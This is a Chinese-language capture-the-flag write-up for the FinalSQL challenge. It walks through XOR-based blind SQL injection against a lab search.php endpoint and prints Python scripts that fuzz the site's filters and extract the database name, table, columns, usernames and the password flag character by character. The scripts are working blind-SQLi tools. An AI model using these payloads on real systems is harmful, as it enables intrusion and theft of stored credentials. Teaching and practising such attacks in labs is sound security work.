[极客大挑战 2019]FinalSQL 1.进入页面:
发现题目提示有盲注
2.由于我们不知道正确的用户名和密码,所以我们不能通过用户名密码的输入来获取true和false页面的响应,因为在不知道正确的用户名和密码的情况下,无论如何返回的都是false界面,所以我们需要寻找其它的盲注注入点
3.根据题目提示选择神秘代码: 点击1:
点击2:
点击3:
点击4:
点击5:
payload:
没有获得有用的信息,但是我们可以通过id这个注入点进行盲注
4.盲注原理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 布尔盲注: id=1 and 非0(true) 返回id=1的界面 id=1 and 0(flase) 返回id=0的界面 异或盲注: id=1^0(false)=>1 返回id=1的界面 id=1^1(true)=>0 返回id=0的界面 使用异或盲注需要后面有判断语句返回true和false 空字符或盲注: id='' or 非0(true)=>1 返回id=1的界面 id='' or 0(flase)=>0 返回id=0的界面
测试:
mysql中true表示1:
mysql中false表示0:
5.随便注入,查看当前页面过滤的内容:
脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport timewith open ("SQL_fuzz.txt" , "r" ) as f: contents = f.readlines() data_list = []for msg in contents: msg = msg.strip('\n' ) data_list.append(msg) f.close url = "http://3f8893c2-6eda-4113-bcfa-2b6188684bd7.node4.buuoj.cn:81/search.php?id=" for data in data_list: r = requests.get(url+data) time.sleep(0.04 ) reponse_txt = "臭弟弟" if (reponse_txt in r.text): print ("该网站过滤了{}" .format (data))
输出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 该网站过滤了length Length 该网站过滤了handler 该网站过滤了likeLiKe 该网站过滤了having 该网站过滤了limitLimIt 该网站过滤了insertinsERTINSERT 该网站过滤了! 该网站过滤了% 该网站过滤了ANDANd 该网站过滤了BYBy 该网站过滤了unionUNIonUNION 该网站过滤了|| 该网站过滤了//* 该网站过滤了*/* 该网站过滤了/**/ 该网站过滤了anandd 该网站过滤了HAVING 该网站过滤了IF 该网站过滤了INTO 该网站过滤了LIKE 该网站过滤了| 该网站过滤了UNION 该网站过滤了AND 该网站过滤了drop 该网站过滤了DROP 该网站过滤了rand() 该网站过滤了LIMIT 该网站过滤了by 该网站过滤了OUTFILE 该网站过滤了VARCHAR 该网站过滤了/* 该网站过滤了mid 该网站过滤了RLIKE 该网站过滤了sys schemma 该网站过滤了%0c 该网站过滤了@ 该网站过滤了else%27%23%22%20
6.发现and被过滤,所以我们可以采用以下盲注:
1 2 3 4 5 6 7 8 9 10 11 异或盲注: id=1^0(false)=>1 返回id=1的界面 id=1^1(true)=>0 返回id=0的界面 空字符或盲注: id='' or 非0(true)=>1 返回id=1的界面 id='' or 0(flase)=>0 返回id=0的界面
测试:
返回id=1:
返回id=0:
使用异或盲注构造payload,由于过滤了limit,所以不能用普通的payload:
第一步:爆数据库名字的长度,由于length被过滤,所以我们采取暴力破解(规定查找长度为30)
第二步:爆数据库的名字
payload:
1 1^(ascii(substr(database(),{},1))>{})
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import requestsimport time headers = {'Cookie' :'security=low; PHPSESSID=942m2p5g9t4uicc61v7o3gedd7' , 'Referer' :'http://localhost/DVWA/vulnerabilities/sqli_blind/' } url = 'http://6650aff8-185f-482d-8fa4-8cede14a9697.node4.buuoj.cn:81//search.php?id=' n = 1 database_name = "" database_lenth = 30 while n <= database_lenth: begin = 32 end = 126 tmp = (begin + end) // 2 while (begin < end): payload2 = "1^(ascii(substr(database(),{},1))>{})" .format (n, tmp) r = requests.get(url + payload2, ) true_text = "ERROR" if (true_text in r.text): begin = tmp + 1 tmp = (begin + end) // 2 else : end = tmp tmp = (begin + end) // 2 print (tmp) print ("该数据库的第%d个字符:%c" % (n, chr (tmp))) database_name = database_name + chr (tmp) n = n + 1 print ("该数据库的名字为:" +database_name)
输出:
第三步:直接爆表名,手动规定所有表名总长50:
由于limit被过滤,所以直接用GROUP_CONCAT()获取所有表名
payload:
1 ?id=1^(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),{},1))>{})
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 import requestsimport time url = 'http://6650aff8-185f-482d-8fa4-8cede14a9697.node4.buuoj.cn:81/search.php?id=' table_len = [30 , 30 , 30 , 30 , 30 , 30 , 30 , 30 , 30 , 30 ] table_name = [] index = 0 while (index < 1 ): name = "" n = 1 while (n <= table_len[index]): begin = 32 end = 126 tmp = (begin + end) // 2 while (begin < end): payload2 = "1^(ascii(substr((select(GROUP_CONCAT(TABLE_NAME))from(information_schema.tables)where(TABLE_SCHEMA=database())),{},1))>{})" .format (n, tmp) r = requests.get(url + payload2) true_text = "ERROR" if (true_text in r.text): begin = tmp + 1 tmp = (begin + end) // 2 else : end = tmp tmp = (begin + end) // 2 name = name + chr (tmp) n = n + 1 table_name.append(name) print ("第{}张表的名字为{}" .format (index+1 , name)) index = index + 1 print (table_name)
输出:
1 2 第1张表的名字为F1naI1y, ['F1naI1y, ']
所以得到只有表:F1naI1y
第四步:直接爆表的字段名,手动规定字段名总长50,使用GROUP_CONCAT()将该张表的所有字段名组合在一起
payload:
1 ?id=1^(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='F1naI1y')),{},1))>{})
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import requestsimport time url = 'http://6650aff8-185f-482d-8fa4-8cede14a9697.node4.buuoj.cn:81/search.php?id=' table_col_num = {'F1naI1y第1字段的长度' : 50 } table_name = ['F1naI1y' ] col_count = {'F1naI1y' : 1 } table_col_name = {} table_num = len (table_name) table_index = 0 while (table_index < 1 ): col_num = col_count[table_name[table_index]] col_index = 0 while (col_index < 1 ): key = "{}第{}字段的长度" .format (table_name[table_index], col_index+1 ) col_len = table_col_num[key] col_len_index = 0 name = "" while (col_len_index < col_len): begin = 32 end = 126 tmp = (begin + end) // 2 while (begin < end): payload2 = "1^(ascii(substr((select(GROUP_CONCAT(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='F1naI1y')),{},1))>{})" .format (col_len_index+1 , tmp) r = requests.get(url + payload2) time.sleep(0.1 ) true_text = "ERROR" if (true_text in r.text): begin = tmp + 1 tmp = (begin + end) // 2 else : end = tmp tmp = (begin + end) // 2 name = name + chr (tmp) col_len_index = col_len_index + 1 key_name = "{}的第{}个字段的名字" .format (table_name[table_index], col_index+1 ) table_col_name[key_name] = name print ("{}:{}" .format (key_name, name)) col_index = col_index + 1 table_index = table_index + 1 print (table_col_name)
输出:
1 2 F1naI1y的第1个字段的名字:id,username,password {'F1naI1y的第1个字段的名字': 'id,username,password '}
第五步:爆字段的数据:
爆username的数据:
payload:
1 ?id=1^(ascii(substr((select(GROUP_CONCAT({}))from({})),{},1))>{})
测试:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 import requestsimport time url = 'http://6650aff8-185f-482d-8fa4-8cede14a9697.node4.buuoj.cn:81/search.php?id=' database_name = "geek" table_name = "F1naI1y" col_name = "username" col_data_num = 1 col_data_charnum = 100 rank_index = 0 while (rank_index < col_data_num): rank_data_index = 0 data = "" while (rank_data_index < col_data_charnum): begin = 32 end = 126 tmp = (begin + end) // 2 while (begin < end): payload2 = "1^(ascii(substr((select(GROUP_CONCAT({}))from({})),{},1))>{})" .format (col_name, table_name, rank_data_index+1 , tmp) r = requests.get(url + payload2) time.sleep(0.1 ) true_text = "ERROR" if (true_text in r.text): begin = tmp + 1 tmp = (begin + end) // 2 else : end = tmp tmp = (begin + end) // 2 data = data + chr (tmp) rank_data_index = rank_data_index + 1 print ("{}字段第{}列的值:{}" .format (col_name, rank_index + 1 , data)) rank_index = rank_index + 1
输出:
1 username字段第1列的值:mygod,welcome,site,site,site,site,Syc,finally,flag
发现有一个flag,猜测flag在username=flag所对应的字段password中
爆password字段的值,指定username=flag
payload:
1 ?id=1^(ascii(substr((select(password)from({})where(username='flag')),{},1))>{})
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 import requestsimport time url = 'http://6650aff8-185f-482d-8fa4-8cede14a9697.node4.buuoj.cn:81/search.php?id=' database_name = "geek" table_name = "F1naI1y" col_name = "password" col_data_num = 1 col_data_charnum = 50 rank_index = 0 while (rank_index < col_data_num): rank_data_index = 0 data = "" while (rank_data_index < col_data_charnum): begin = 32 end = 126 tmp = (begin + end) // 2 while (begin < end): payload3 = "1^(ascii(substr((select(password)from({})where(username='flag')),{},1))>{})" .format (table_name, rank_data_index+1 , tmp) r = requests.get(url + payload3) time.sleep(0.1 ) true_text = "ERROR" if (true_text in r.text): begin = tmp + 1 tmp = (begin + end) // 2 else : end = tmp tmp = (begin + end) // 2 data = data + chr (tmp) rank_data_index = rank_data_index + 1 print ("{}字段第{}列的值:{}" .format (col_name, rank_index + 1 , data)) rank_index = rank_index + 1
输出:
1 password字段第1列的值:flag{0ca992a6-fc81-43d7-8419-deba5dea5107}
flag = flag{0ca992a6-fc81-43d7-8419-deba5dea5107}